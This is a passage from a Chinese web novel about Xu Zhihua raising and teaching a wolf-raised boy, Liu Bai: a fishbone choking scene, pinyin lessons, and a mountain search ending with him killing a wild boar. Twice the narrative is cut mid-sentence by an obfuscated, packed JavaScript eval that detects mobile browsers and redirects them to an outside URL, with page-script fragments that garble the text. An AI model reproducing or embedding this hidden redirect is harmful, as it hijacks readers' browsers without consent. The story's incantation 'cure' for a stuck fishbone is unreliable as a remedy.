听到这话,刘白条件反射坐好,手放在大腿上。 “下次饿了,你们就先吃,不用等我也行。”徐康荣推着轮椅过来。 “不行,家人在,一起吃,这是规矩。”徐知画反驳道。 “行,那我们动筷吧。”徐康荣觉得龟妹很有教养,听着心里也美滋滋的。 “嗯。”徐知画又敲了敲刘白的手背,边说边教他怎么将鱼刺挑出来,“鱼刺,不能吃,挑出来,懂?” 刘白听懂了【不能吃】和【懂】,徐知画很多时候都说不能吃,但有时他吃下去也没事,所以这次也并没有放在心上,想着照吃不误,不过还是点点头,回道:“懂!” 见徐知画示意可以动筷吃了,饿极了的刘白下意识想开启风卷残云模式,“慢点吃”这三个字倏地砸过来,刘白清醒了点,放慢进食的速度,尽量保持着优雅。 徐康荣好笑地看着这一幕,朝徐知画竖起大拇指,说:“龟妹,你不当老师可惜了。” “我才不想当老师。”徐知画叹了口气,再这样教下去,乳腺结节很快就会找上她。 徐康荣:“不过我还是很好奇,你为什么会对他这么上心?” “我来到这里,上天指示我说要将他培养成才,方得圆满,不然不得善终。”徐知画故作神秘,胡诌道,“诶呀,就当我是爱心泛滥,看他可怜,想见证他从狼变成人行不行?” “行行行,可不要再说什么不得善终的话。”徐康荣提醒道,“这话你可不要说给妈听,她会当真的。” “知道啦,吃饭吃饭。”徐知画说。 “啊——呜——” 突然,刘白捂住了脖子,难受得吞咽着。 “你看你看,才刚教你吃鱼要挑刺,你是不是又没听,什么都想吃,你以为你是金刚喉咙啊。”徐知画边说边走过去,掰开他的嘴巴看。 “康荣哥,怎么办?”徐知画仔细瞧了瞧,没看见鱼刺在哪里。 徐康荣:“你让他尝试咳一咳,看能不能咳出来。” “不知道他会不会咳哦。”徐知画嘟囔着,“这还没教他呢。” “刘白!看我!咳咳——咳咳——”徐知画轻轻咳着。 刘白没看懂。 刘白没理会。 看着他难受得在地上打滚,徐知画着急得跺脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880245|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么办怎么办?还有什么办法?” “别着急,我还有一法。”徐康荣吩咐道,“你去倒半碗温水过来。” “然后呢?”徐知画倒好了水。 “给我。”徐康荣接过碗,接着将一双筷子像十字架一样放在碗上,然后凭空画符,嘴里念叨着:“此碗化为东洋大海,咽喉化为万丈龙潭,九龙归洞,吾奉太上老君,急急如律令。”① “顺时针让他喝下每个分隔里的水。”徐康荣将碗推过去说道。 “啊?这样能行吗?”徐知画看他又是做法又是念咒,心里没底。 “试试。”徐康荣伸手帮忙摁住刘白。 “刘白!喝!”徐知画示范了一次。 刘白看明白了,学着她的样子顺时针一隔一隔大口大口地喝着水。 见他喝得差不多了,徐康荣松开手。 两人一眨不眨地看着刘白,都想知道有没有成效。 刘白试着吞咽了几下,感觉不到疼,欢喜地笑了,学着徐知画表扬他的样子,竖起了大拇指:“真——棒!” 徐康荣和徐知画松了口气。 刘白是不想再吃鱼了。 徐知画好奇地问道:“刚刚是什么原理?好神奇。” “这是祝由术里的九龙化骨水,想学我教你。”徐康荣对上她崇拜的眼神,不好意思地笑了笑。 “好啊好啊。” * 饭饱喝足后,休息了一会儿,徐知画将刘白拉到桌前坐下,说:“来,现在我们开始学习拼音。” 徐知画指着纸上的【a】,放慢语调:“跟我念,ā,á,ǎ,à。” 刘白:“ā,á,ǎ,à。” “眼睛看哪里?”徐知画食指叩了叩桌面提醒,“ā,á,ǎ,à。” 刘白:“ā,á,ǎ,à。” “这个怎么读?”徐知画将食指点了点á。 刘白:“ā,á,ǎ,à。” 徐知画翻了个白眼,教道:“á。” “á。” 徐知画将四个声调打乱,重新带读,让他注意每个声调的发音。 然而每次不带读他就张冠李戴,读得乱七八糟,蠢!太蠢了! 遥想当年刘白学拼音时,每堂课都是被老师表扬的那个,还让他当组长带领大家读的。 徐知画耐心告罄,声调简直是咬牙切齿了:“ā,à,ǎ,á。” 刘白害怕地抖了抖:“ā,à,ǎ,á。” 下一秒再打乱顺序让他读时,他又乱读一通。 徐知画忍无可忍,猛地一拍桌子:“很难吗?就四个声调,你睁大眼睛看看,它头上戴的是哪顶帽子,这是有区别的,真是……你真是要气死我!” “你还瞪我!你的脑子呢!”徐知画将纸拍到他的脸上,“你看清楚!专心一点!不要给我乱读!” “龟妹,别气到自己了。”徐康荣提议道,“放一只羊是放,放两只羊也是放,我看你教的拼音还挺有意思,能不能让狗岁也跟着你学习?识字的话,以后的选择也会多一些。” “可以啊。”徐知画说,“只要他愿意来学的话。” “你去劈柴!”徐知画现在也没心情教下去了,没好气道。 刘白收到信号,唯恐下一秒她会后悔般,溜得飞快。 他是宁愿劈柴都不愿跟着她学习。 15. 病秧子X狼少年 日月更替,时光悄悄流逝着。 伴随着公鸡的啼叫,太阳升起来了。 “早。”徐知画睡眼惺忪地跟家人打着招呼,迷迷糊糊着去刷牙洗脸。 直到坐上饭桌准备吃早餐,感觉有点不太对劲,四周望了望,徐知画问道:“刘白呢?” “刘白?早上起来我就没看到他的身影。”蔡淑芬说。 “我也没看到。” “我起来时,他已经不在房间了。”和他睡同一间屋的徐家荣说道。 再看其他人,都是摇头说没见到。 “刘白不见了?” 犹如一道惊雷落下,徐知画心漏跳了半拍,脑子有一瞬间是空白的。 徐知画惊慌失措地在屋里屋外角角落落找起来:“刘白!刘白!” “刘白!你赶紧出来,要不要吃糖?”徐知画急得像热锅上的蚂蚁,呼唤道,“刘白,吃早餐了!” “你别着急,我们大家一起找。”蔡淑芬看着她找不到刘白好像失魂落魄了般,看来刘白对她的意义比想象中还要重要。 “刘白不会跑回万兽山的狼窝了吧?”狗岁说。 “不会吧,他都在我们家住这么久了,之前没绑着也没见他跑。”徐家荣说,“我看他也是想融入人类生活的。” “那他会去哪儿呢?”蔡淑芬问,“也没带他去大队逛过,会不会一时好奇跑出去,找不到回家的路了?” “我出去找他。”徐知画冲出门外。 “那一起去吧。”蔡淑芬当机立断,“孩子他爸,你先去跟大队长说一声,今天没找到刘白就不去上工了。” “行。”徐天瑞说。 除了徐康荣呆在家,其他人兵分几路。 徐知画和蔡淑芬一组,找着找着,两人来到了万兽山脚下。 “我要上山去找。”徐知画说。 “要不等你爸过来,我们再一起上山。”蔡淑芬想想又摇头,“山上危险多,你身子弱,要不你还是在山下等我们吧。” “不要,我可以的,多一个人,多份力量。”徐知画坚决地往山上走去,“我一定可以找到他回来。” “行!那我陪你。”蔡淑芬知道劝不动她,只好在旁边跟着。 “刘白!你在哪里?” “刘白!快回来!” “刘白……” 两人边走边喊,然而山太大,她们是如此渺小。 随处可见古木参天,盘根错节,巨伞般茂密的树冠遮天蔽日,阵阵清风吹过,树影婆娑,虫鸣鸟叫好不欢快。 她们就像无头苍蝇一样,不知该往哪个方向才能找到刘白。 路是越来越难走了。 徐知画好几次被藤曼绊倒,被枝桠戳刺到身上,被突然吊下来的虫子吓到…… 所遇到的艰难险阻,徐知画硬是咬着牙坚持了下来,没找到刘白,她是不会回去的。 风起云涌,天空好像打翻了墨水,乌云黑沉沉地压下来,四周一下子暗下来,森林变得可怖,虫鸣鸟叫似是幽灵伴奏曲。 “看天是要下雨了,我们还是先回去吧。”蔡淑芬也感觉怕怕的,再次劝说道。 一想到回去万一就再也找不到刘白了呢?万一刘白就会出现在下一个路口呢? 现在打道回府,徐知画实在不甘心。 没等她犹豫太久,就在噼里啪啦的大雨中淋成了落汤鸡。 “我们先去躲雨吧。”蔡淑芬搀扶着她,四处张望,想找个山洞先避避。 衣服湿黏黏地贴在身上,凉意沁入骨髓,徐知画忍不住哆嗦了几下。 雨水模糊了视线,前进的步伐更加艰难了。 “等一下,那个是什么?”徐知画抹了一把滴落在眼皮的雨水,定了定睛,看清是什么后,倒吸了一口气,“野……野猪。” “野猪?”蔡淑芬打起精神,将徐知画护在身后,催促道,“你赶紧跑,跑得越远越好。” “要跑一起跑。”徐知画并不想独自逃生,而且野猪明显也发现了她们,跑是跑不过的,只能拼一拼了。 徐知画握紧了手中的木棍。 野猪似乎也在衡量着能不能打得过,一步一步慢慢走过来。 彼此的距离越来越近。 雨越下越大了,心跳快到要爆炸,徐知画此时只有一个想法,那就是如果野猪吃了自己的话,蔡淑芬就有时间逃跑了吧。 一道亮光划破天际,雷声轰鸣,大地感觉都颤了颤。 仿佛是吹响了战争的号角,瞳孔中,徐知画看着野猪一跃而起,飞奔过来,她猛地将蔡淑芬推倒,英勇地迎上去,高高举起木棍—— “不!”蔡淑芬看着这一幕,感觉心肝脾肺肾都惊得要裂开了。 “徐知画!” 话刚落,一道黑影自眼前闪过。 刘白仿佛从天而降般挡在前面,说时迟那时快,他狠狠地挥拳砸向野猪,拳头毫无章法,却杀意满满,打得野猪后退连连。 野猪发怒了,蹬了蹬腿,像颗炸弹一样冲过来,张开嘴,想将他吞吃入腹。 刘白拼力抵抗着,所有的精神力气凝聚在两手所抓住的上颌和下颚之间,一拉,一扭,再一拽,一个翻身,他骑在了野猪的背上,带有千钧之力的拳头再次砸下,一拳、两拳、三拳…… 野猪的眼鼻口耳迸发出鲜血来,混杂着雨水,冲刷着草地。 不知道过了多久,野猪被打得奄奄一息,出气多进气少,抽搐了几下,就没动静了。 雨还在继续下,却越来越小了。 鼻翼间弥漫着浓烈的血腥味,刘白下意识想享受战利品,刚把嘴凑到野猪身上,一声“刘白”唤醒了他的理智。 “刘白,不能吃!”徐知画朝他招招手,“刘白,过来。” 她看起来好狼狈,怎么会出现在这里呢?是来找他的吗?可是跟她回去要学这学那,不能这不能那,吃也吃不饱…… “你要吃糖吗?”徐知画从口袋中掏出一颗大白兔奶糖,诱惑道,“给你要不要?” “要。” 要吃糖。 刘白“嗖”一下来到身边拿走糖,迫不及待剥开糖纸塞进嘴巴里。 甜甜的,好吃。 吃完后还眼巴巴地看着她:“还要糖。” “回家给你。”徐知画唯恐他再次跑掉,拿出大灰狼哄小红帽的声音,柔声道,“回去再给你糖吃。” “龟妹啊,要不……要不还是离他远点吧。”蔡淑芬忐忑不安地说,想起刚刚看到他赤手打野猪,胆颤啊心惊,亏平时大家还对他吆来喝去骂来打去,原来他不是打不过,而是在默默忍受啊。 徐知画:“他对我还有用,我现在不会和他分开的。” 蔡淑芬后怕地拍了拍小心脏:“他刚才那样,你不害怕啊。” 怎么会不害怕呢,脚还软着呢,不过想起以前刘白的样子,徐知画就觉得现在的刘白也还存在着人性,他现在没有攻击她们就是最有力的证明。 “你看,他没有伤害我们,不用害怕的。”徐知画说。 “行,你开心就好。”蔡淑芬在心里求神保佑他是真的善。 徐知画:“我们走吧。” “等一下,这头猪可不能浪费了。”蔡淑芬看着刘白,指了指地上的野猪,问道,“你还有没有力气抬它回家?” 刘白站着不动,歪着脑袋看她,一副很是疑惑的样子。 “抬,回家。”蔡淑芬想着他听不明白,走过去使劲抬起野猪,却怎么都抬不动。 刘白看懂了,轻轻松松将野猪甩到背上,走在前面开路。 “哎哟,真不愧是狼养出来的孩子,这力量真是吓人。”蔡淑芬嘟囔着,打了个冷颤,“好冷,我们走快点。” 行走在这片森林里,刘白是如鱼得水,连背影都透着欢快。 而找到刘白后,徐知画上山的那股无畏坚毅之气散去了不少,细雨蒙蒙,深一脚浅一脚,下山的路真难走啊。 “刘白!走慢点!”徐知画喊道。 刘白回过头,看着她们狼狈慢悠悠的模样,很是嫌弃,这要是在狼群,是会拖后腿要被抛弃的份。 好在她们是人类,能靠自己的聪明才智谋取食物。 刘白现在当自己是要保护弱小的狼王,有时走快了,就会停下来等一等,始终保持着不远不近的距离,若是有猛兽袭击的话,也能及时解救她们。 快回到大队时,蔡淑芬示意刘白在一堆草垛前停下。 “若是被队上的人看到野猪,分到的肉塞牙缝都不够,先藏起来,天黑了叫你两个哥哥过来,一半留着吃,一半拿去卖。”蔡淑芬解释道。 刘白没听懂,只知道她要自己将这头猪丢下,他自是不肯放手。 一时之间,那些弯弯绕绕的,跟他说也说不通。 徐知画硬着头皮画大饼,吐字清晰地说:“回家,给你,吃糖,要不要糖?好多好多糖,都给你。” 徐知画张开双臂夸张地比划了一个圆那么大,触发关键字,这句刘白听明白了。 刘白喜欢吃糖,真的要给他那么多糖吗?听着想着真是让人心花怒放啊,甜甜的滋味仿佛还在口腔里回味着,于是学着她的样子画一个圈,欢喜道:“要吃糖,要吃好多、好多糖。” “那我们走吧。”徐知画牵着他的手欲往前走。 在野猪和糖两者之间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880246|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘白犹豫了一秒,还是糖比较吸引他,更重要的一点是,他还想学习怎么变成人,讨好徐知画的欢心很要必要。 她既然不想要野猪,那等半夜他再偷偷跑回来这里吃掉。 刘白暗暗想到。 这次也是饿极了,他才想着上山捕食猎物。 那头野猪他追踪了好久,正找时机下手呢,遇见她们是意料之外。 也还好及时遇见了她们,不然就凶多吉少了。 “你走慢一点!”徐知画拽了拽他的手,神色不悦。 她糟糕的情绪感染到了他。 刘白心里一紧,明明她看起来那么弱小,气势却又是那么强大,像以往很多个时刻那般,乖乖地低着头听训。 视线落到两人手上,她的手好小好软,皮肤光滑皮肤,一黑一白色差格外的突兀,他甚至不敢用力,生怕一捏就会捏碎。 她若感到不舒服和疼痛,肯定会拿起竹条追着他打,不让他好过。 刘白很明白这一点。 就像现在,哪怕他跟着她的节奏慢慢走了,但是遇到绊脚的草、糊了一脸的蜘蛛网、撞到身上的虫子等等,在他看到是微不足道不需在意的,徐知画偏还要责怪他,又用手拧他胳膊,她不开心,他也不能高兴。 真是霸道! 可恶! 刘白很不喜欢她这一点。 有朝一日,等他不需要她了,他一定要狠狠报复回来。 刘白再次想到。 那一边,蔡淑芬用草将野猪遮掩好后,小跑着跟上脚步。 离家越来越近,遇到的人也越来越多,蔡淑芬一一回应着打招呼。 “还好找到狼孩了,再不回来,大队长说要集结众人上山找你们了。”肥花婶说。 “可不是,这小子一声不吭跑回山去,急死我们这一家,还好找到了。”蔡淑芬说,“不跟你多说了,这湿衣服穿得难受,要赶紧回去换才行。” “记得煮点姜汤喝暖暖身子。”肥花婶关心道。 “好。” * 回到家,刘白就嚷嚷道:“糖,吃糖,要吃糖!” 急切得不行。 “吃吃吃,给你糖。”徐知画真是怕他了,回屋拿糖。 “不许跟进来!”徐知画在房间门口转身瞪了一眼,说,“等着!” 门“啪一下关上了。” 刘白撇撇嘴,但到底没敢闯进去,乖乖等着。 没一会儿,门打开,徐知画将五颗糖果塞到他手上:“只有这么多了。” 刘白愣了愣,瞪大了眼睛看着掌中的五颗糖,以为她忘记了,神情焦急,张开双臂比划着一个大圆,提醒道:“啊,啊,好多糖,给你,吃糖。” 是自己骗了她,徐知画不自在地摸了摸鼻子,没好意思看他的灼灼双眼,还摆出一副强势的样子,说:“先欠着,下次再给!” 刘白没有得到预想中的很多很多糖,被骗了不开心,但是回到人类的地盘,他也不敢多说什么。 “那你还要不要?”徐知画作势要拿回五颗糖。 刘白一躲,睁着大眼睛警惕地看着她,似乎没想到她竟是这样的人,出尔反尔。 他大声地回道:“要!” 说着自己躲到角落,一下子就把五颗糖干掉了。 徐康荣见到三人平安回来,悬着的心落下来,催促道:“灶里烧着热水,赶紧去洗个热水澡。” 蔡淑芬风风火火地拿起木桶,舀热水,再去缸里舀冷水兑成温水,提到冲凉房,喊道:“龟妹你先去洗,拿衣服过来就行了。” “你先洗吧。”徐知画说。 “还在磨磨蹭蹭什么,你这身体和别人不同,赶紧去赶紧去。”蔡淑芬进屋里推搡着她过去,“我平时干农活,多是风里来雨里去,强壮得很。” “我很快的。”徐知画不再客气,也隐隐感觉身体不太对劲。 没有条件像以前那样泡浴缸洗香香,徐知画囫囵冲洗了一下,就赶紧穿上衣服出来。 “衣服放这盆里,等下我一起洗。”蔡淑芬叮嘱道,“头发记得擦干。” 徐知画:“知道。” 经过院子时,匆匆一瞥,刘白穿着一条满是补丁的裤衩在雨中洗刷刷着身体,她不由得又多看了一眼。 想到以前,刘白有洁癖多清高,现在也是入乡随俗,有多土就多土。 徐知画在心中感慨着,回屋拿干毛巾擦拭着头发,渐渐的,身体感觉越来越冷,额头却烫得惊人,头重脚轻,好想睡觉。 【不能睡觉,这是发烧的前兆,要喝点热水缓缓,不能被发现了,不想吃药。】 徐知画晕晕沉沉地想着。